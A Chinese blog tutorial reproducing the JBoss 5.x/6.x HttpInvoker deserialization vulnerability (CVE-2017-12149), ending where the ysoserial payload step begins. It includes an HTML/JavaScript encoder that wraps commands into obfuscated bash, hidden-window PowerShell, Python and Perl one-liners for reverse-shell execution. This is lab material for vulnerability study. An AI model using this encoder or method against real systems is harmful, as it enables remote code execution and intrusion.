JBoss 5.x/6.x 反序列化漏洞复现（CVE-2017-12149）

最新推荐文章于 2024-03-03 09:57:51 发布

原创最新推荐文章于 2024-03-03 09:57:51 发布 · 1.3k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #中间件 #安全 #web安全 #java

漏洞复现专栏收录该内容

8 篇文章

订阅专栏

本文详细介绍了Jboss的HttpInvoker组件中存在的一处Java反序列化漏洞（CVE-2017-12149）。该漏洞允许攻击者通过发送特制的POST请求，利用ReadOnlyAccessFilter过滤器的反序列化过程，执行任意命令。文中提供了漏洞复现步骤，包括如何构造payload，并展示了如何使用ysoserial.jar工具生成利用此漏洞的payload。此外，还演示了如何通过curl发送payload，成功反弹shell。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

漏洞复现

启动环境

该漏洞出现在/invoker/readonly请求中，服务器将用户提交的POST内容进行了Java反序列化，采用其他反序列化利用链就可以了

使用bash来反弹shell，但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法，需要对命令进行一次编码。

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>

    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>

<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');

  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }

    if (!taInput.value) taOutput.value = '';
  }

  taInput.addEventListener('input', processInput, false);
</script>

</body>
</html>

利用ysoserial.jar工具构造payload